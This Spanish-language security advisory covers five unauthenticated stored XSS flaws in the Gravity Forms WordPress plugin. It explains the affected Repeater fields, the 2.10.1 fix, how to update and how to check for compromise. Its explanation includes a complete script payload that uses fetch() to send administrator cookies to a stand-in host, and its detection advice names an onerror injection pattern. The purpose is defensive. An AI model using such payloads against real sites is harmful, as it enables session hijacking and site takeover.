Gravity Forms tiene cinco vulnerabilidades de tipo Stored XSS (CVE-2026-5109 a CVE-2026-5113) en todas las versiones hasta la 2.10.0, que permiten a atacantes no autenticados inyectar código JavaScript malicioso en campos de formulario. El script se ejecuta en el navegador del administrador cuando revisa las entradas. La versión 2.10.1 corrige el problema.

En 30 segundos

  • Cinco CVEs simultáneos (CVE-2026-5109 al CVE-2026-5113) afectan Gravity Forms hasta la versión 2.10.0.
  • Los ataques son de tipo Stored XSS y no requieren autenticación: cualquiera que complete un formulario puede inyectar el script.
  • Los campos vulnerables están dentro de Repeaters: Product Option, Consent, SingleProduct, Hidden Product y Calculation Product.
  • Más de 6 millones de sitios WordPress usan Gravity Forms, lo que convierte esto en una superficie de ataque enorme.
  • La solución es actualizar a Gravity Forms 2.10.1 o superior desde el panel de WordPress.

CVE-2026-5109 a CVE-2026-5113: Las 5 vulnerabilidades XSS críticas en Gravity Forms

Gravity Forms es uno de los plugins de formularios más usados en WordPress, con más de 6 millones de instalaciones activas. Cuando aparece una vulnerabilidad acá, el radio de impacto es enorme, y lo que salió a la luz en mayo de 2026 no es uno sino cinco fallos distintos, todos del mismo tipo: Stored Cross-Site Scripting.

Los cinco CVEs van del 5109 al 5113 y afectan versiones hasta la 2.10.0 inclusive. Según Red Packet Security, estos fallos no requieren que el atacante tenga ningún tipo de cuenta en el sitio. Cualquier visitante anónimo puede explotar la vulnerabilidad si el sitio tiene activo un formulario con los campos afectados.

La corrección llegó con la versión 2.10.1.

¿Qué es Stored XSS y cómo funciona en Gravity Forms?

Ponele que tenés un formulario de cotización en tu sitio que usa Gravity Forms. Un visitante llena el campo «Producto» no con un nombre de producto, sino con esto: <script>fetch('https://malicioso.net/robar?c='+document.cookie)</script>. El plugin guarda eso en la base de datos sin sanitizarlo. Cuando el administrador entra al panel para revisar las entradas del formulario, el navegador ejecuta ese script. En ese momento, las cookies de sesión del admin ya salieron hacia un servidor externo.

Esa es la diferencia con el XSS reflejado, donde el código no se almacena: aparece en la URL, engañás a alguien para que haga clic, y el script ejecuta una sola vez. El Stored XSS es más peligroso porque el payload está en la base de datos y va a ejecutarse para cualquier administrador que abra esa entrada, cada vez que la abra (lo que multiplica el impacto considerablemente).

El problema específico acá es que el mecanismo de validación de Gravity Forms no filtraba correctamente el contenido de ciertos campos cuando están dentro de un componente llamado Repeater. Eso le abre la puerta a cualquier entrada sin sanitizar.

Campos vulnerables: Product Option, Consent, SingleProduct, Hidden Product y Calculation Product

Los cinco CVEs no afectan al plugin de forma genérica sino a tipos de campo específicos que Gravity Forms usa dentro de estructuras Repeater. Estos son los que están comprometidos:

CVECampo afectadoAutenticación requerida
CVE-2026-5109Product Option (dentro de Repeater)No requerida
CVE-2026-5110Consent (dentro de Repeater)No requerida
CVE-2026-5111SingleProduct (dentro de Repeater)No requerida
CVE-2026-5112Hidden Product (dentro de Repeater)No requerida
CVE-2026-5113Calculation Product (dentro de Repeater)No requerida
gravity forms vulnerabilidad xss diagrama explicativo

El denominador común es el contexto Repeater. Este componente permite crear grupos de campos que el usuario puede duplicar (por ejemplo, agregar varios productos en un mismo formulario). El problema es que los subfields dentro de un Repeater no pasaban por el mismo proceso de validación que los campos normales, lo que permitía que strings con código JavaScript llegaran limpios a la base de datos.

¿Por qué es grave que estén afectados campos como Hidden Product o Calculation Product? Porque en muchos formularios de ecommerce o cotización estos campos se pre-llenan o se calculan, y la gente asume que no son un vector de entrada para el usuario final. Pero si el formulario permite manipularlos, la puerta está abierta.

¿Quién está en riesgo? Versiones afectadas y alcance del impacto

Todas las versiones de Gravity Forms hasta la 2.10.0 inclusive están afectadas. No hay versión antigua «segura» en este caso, la corrección solo llega con la 2.10.1.

El alcance es notable. Según datos de uso públicos, Gravity Forms está activo en más de 6 millones de sitios WordPress. A diferencia de CVE-2026-3492 (otro fallo de Gravity Forms que sí requería cuenta de Suscriptor o superior), estos cinco CVEs son completamente no autenticados. No hace falta tener cuenta, no hace falta engañar a nadie para que te invite. Con que el sitio tenga un formulario público con un campo de tipo Product Option o Consent dentro de un Repeater, ya es vulnerable.

El tipo de sitio más expuesto es el que combina Gravity Forms con WooCommerce para cotizaciones o presupuestos, y que usa Repeaters para que los usuarios agreguen varios ítems. Sitios de ecommerce, agencias, landing pages con formularios multi-producto. Ese es el perfil.

Qué puede hacer un atacante: robo de sesiones, inyección de malware y más

Cuando el script se ejecuta en el navegador del admin, tiene acceso a todo lo que ese navegador puede ver y hacer en ese momento. Las opciones son varias y ninguna es buena.

  • Robo de cookies de sesión: con un fetch() simple, el atacante envía las cookies del administrador a un servidor externo. Con eso puede autenticarse en WordPress haciéndose pasar por el admin.
  • Instalación de plugins maliciosos: un script puede hacer requests autenticadas a la API REST de WordPress para instalar y activar plugins. El admin ya está autenticado, el navegador tiene las credenciales.
  • Creación de cuentas backdoor: misma lógica. El script crea un usuario administrador nuevo con credenciales controladas por el atacante.
  • Redirección a malware: el script puede modificar el contenido de la página que está viendo el admin, inyectar iframes, o redirigir a sitios de phishing o descarga de malware.
  • Exfiltración de datos: cualquier dato visible en el panel de WordPress (emails de clientes, datos de formularios, contenido privado) puede enviarse al servidor del atacante.

¿Necesita el atacante ver el resultado de su ataque en tiempo real? No. El payload está en la base de datos esperando que alguien con privilegios abra esa entrada. Puede pasar en horas, en días o en semanas.

Cómo actualizar a Gravity Forms 2.10.1 (la solución)

El proceso es el de siempre, pero hacelo ahora.

  • Desde el panel de WordPress, ir a Plugins → Plugins instalados.
  • Si aparece la notificación de actualización para Gravity Forms, hacer clic en «Actualizar ahora».
  • Si no aparece, ir al sitio oficial de Gravity Forms e iniciar sesión con tu licencia para descargar manualmente la versión 2.10.1.
  • Antes de actualizar, hacé un backup de la base de datos y los archivos. WPVivid o UpdraftPlus te toman cinco minutos.
  • Después de actualizar, verificá en la lista de plugins que la versión que figura sea 2.10.1 o superior.

Eso sí: si tu licencia de Gravity Forms está vencida, no vas a poder actualizar desde el panel. En ese caso tenés que renovarla o, si lo tenés descargado manualmente, subir la versión 2.10.1 por FTP. No lo dejés para después.

Cómo detectar si tu sitio fue comprometido por CVE-2026-5109

Si ya actualizaste pero no sabés si alguien explotó la vulnerabilidad antes, hay señales concretas para revisar.

Lo primero que hay que mirar son los usuarios administradores. Si hay cuentas que no reconocés, especialmente con fechas de creación recientes o emails genéricos, es una bandera roja. Después, revisá los plugins instalados: ¿hay alguno que no pusiste vos? ¿Alguno con nombre raro o sin descripción? El directorio wp-content/plugins directo en el servidor puede mostrar cosas que el panel oculta si el plugin fue manipulado.

Herramientas útiles para este análisis:

  • Wordfence Security: el scanner detecta archivos modificados, malware conocido y usuarios sospechosos. Corré un scan completo.
  • WPScan: desde la línea de comandos, auditá el sitio buscando vulnerabilidades conocidas y configuraciones problemáticas.
  • Logs del servidor: buscá requests frecuentes a /wp-admin/admin-ajax.php con parámetros inusuales o tráfico hacia dominios externos que no reconocés.
  • Entradas de Gravity Forms: revisá las entradas de formularios con fechas anteriores a la actualización. Si ves strings con etiquetas <script> o <img src=x onerror=>, el formulario fue usado como vector.

Si encontrás evidencia de compromiso, el paso siguiente es restaurar desde un backup limpio (previo a la explotación), cambiar todas las contraseñas de admin, rotar las claves de la API REST y notificar a los usuarios si sus datos estuvieron expuestos. No alcanza con actualizar el plugin si el atacante ya dejó una puerta trasera instalada.

Errores comunes al manejar esta situación

Error 1: asumir que el sitio es seguro porque «no tiene mucho tráfico». El número de visitas no tiene nada que ver. El atacante puede ser un bot que prueba sitios de forma automatizada. Los formularios públicos son blancos independientemente del volumen de visitas del sitio.

Error 2: actualizar el plugin y no revisar si ya hubo explotación. Actualizar tapa el agujero, pero no limpia lo que ya entró. Si el formulario estuvo expuesto por días o semanas antes de que te enteraras de la vulnerabilidad, hay que hacer el análisis forense de todas formas. Muchos administradores actualizan y se quedan tranquilos sin verificar si el daño ya estaba hecho (lo que es un error caro).

Error 3: confiar en que los campos Hidden Product no son accesibles para el usuario. En formularios con Repeaters y lógica condicional compleja, hay casos donde los valores de campos «ocultos» se pueden manipular desde el frontend via herramientas de desarrollo del navegador o requests directas. Si el campo llega al servidor con el valor que el usuario puso, es vulnerable.

Esto se conecta con nuestra cobertura de Gravity Forms: 5 vulnerabilidades XSS críticas afectan a +6M.

Podés explorar el tema en profundidad en Gravity Forms: 5 vulnerabilidades XSS críticas afectan a +6M.

Preguntas Frecuentes

¿Cómo afecta CVE-2026-5109 a mi sitio con Gravity Forms?

CVE-2026-5109 afecta el campo Product Option cuando está dentro de un Repeater en Gravity Forms. Un visitante no autenticado puede completar ese campo con código JavaScript malicioso. Cuando un administrador abre la entrada desde el panel, el script se ejecuta en su navegador con acceso completo a la sesión activa.

¿Cuál es la versión segura de Gravity Forms?

La versión 2.10.1 es la primera que corrige los cinco CVEs (2026-5109 a 2026-5113). Cualquier versión 2.10.0 o anterior está afectada. Si tu panel muestra una versión superior a 2.10.1, también estás cubierto.

¿El ataque XSS en Gravity Forms requiere que el atacante tenga cuenta en el sitio?

No. Estos cinco fallos son explotables sin autenticación: cualquier persona que pueda completar un formulario público puede inyectar el payload. Eso los diferencia de otros CVEs de Gravity Forms que sí requerían rol de Suscriptor como mínimo.

¿Afecta el ataque a campos Hidden Product en Repeaters?

Sí. CVE-2026-5112 afecta específicamente el campo Hidden Product dentro de estructuras Repeater. Aunque el campo parece no accesible para el usuario final, en ciertos formularios con Repeaters es posible manipular su valor, y el plugin no lo filtraba correctamente antes de almacenarlo.

¿Hay parche disponible para la vulnerabilidad Gravity Forms?

Sí. El parche está disponible en la versión 2.10.1, lanzada por Gravity Forms para corregir los cinco fallos. La actualización está disponible desde el panel de WordPress para usuarios con licencia activa, o descargable manualmente desde el sitio oficial del plugin.

Conclusión

Cinco vulnerabilidades Stored XSS simultáneas, sin autenticación requerida, en el plugin de formularios más instalado de WordPress. No es una combinación que se pueda ignorar. La superficie de ataque son más de 6 millones de sitios y el impacto potencial va desde el robo de sesiones hasta el compromiso total del sitio.

La buena noticia es que la corrección existe y el proceso de actualización es simple. Si usás Gravity Forms con Repeaters y cualquiera de los campos afectados, la prioridad ahora es llegar a la versión 2.10.1. Después de actualizar, hacé el análisis forense básico: revisá entradas del formulario, usuarios admin y plugins instalados. No alcanza con cerrar la puerta si ya entró alguien antes.

Para sitios que manejan datos sensibles de usuarios, ecommerce o formularios de cotización, este es el recordatorio de siempre: las actualizaciones de plugins de seguridad no tienen fecha de gracia. Si tenés licencias de Gravity Forms vencidas y estás dejando de actualizar por eso, ese es el costo real de no renovar. Si necesitás un hosting que te facilite la gestión de este tipo de actualizaciones, donweb.com tiene planes con soporte especializado para WordPress.

Fuentes